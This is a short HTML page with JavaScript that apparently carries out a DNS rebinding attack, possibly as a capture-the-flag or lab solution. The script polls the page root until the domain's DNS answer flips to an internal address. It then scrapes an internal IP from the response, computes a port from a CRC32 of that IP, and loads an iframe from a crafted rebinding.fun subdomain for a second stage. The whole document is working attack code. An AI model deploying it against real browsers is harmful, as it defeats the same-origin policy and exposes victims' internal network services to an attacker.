<h1>Rebinding...</h1>

<script>
  function delay(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
  }

  function computePort(ip) {
    // Parse the IP and extract the last three parts
    const parts = ip.split('.').slice(1, 4).map(Number);

    // Calculate CRC32
    const crc32 = (arr) => {
        const table = new Uint32Array(256).map((_, k) => {
            let c = k;
            for (let i = 0; i < 8; i++) {
                c = c & 1 ? (0xedb88320 ^ (c >>> 1)) : (c >>> 1);
            }
            return c >>> 0;
        });
        return arr.reduce((crc, byte) => (crc >>> 8) ^ table[(crc ^ byte) & 0xff], ~0) ^ ~0;
    };

    const crc = crc32(parts) & 0xFFFF; // Apply bitmask
    return crc | (32 << 10);
  }

  function addIframe(url, width = "600px", height = "400px") {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.width = width;
    iframe.style.height = height;
    iframe.style.border = "solid";
    document.body.appendChild(iframe);
  }

  function gen6() {
    return Math.floor(100000 + Math.random() * 900000);
  }

  (async()=>{
    while (true) {
      await delay(5000);

      r = await fetch("/");
      text = await r.text();
      console.log(text);

      if (text.indexOf("Rebinding") !== -1) continue;
          
      const si = text.indexOf("<li>100");
      const ei = text.indexOf("</li>", si);
      const ip = text.substring(si + 4, ei).trim();
      const port = computePort(ip);
      console.log(ip);
      console.log(port);

      addIframe(`http://s-1.2.3.4-${ip}-${gen6()}-fs-e.dynamic.rebinding.fun:${port}/2.html`)

      break;
    }
  })()
</script>
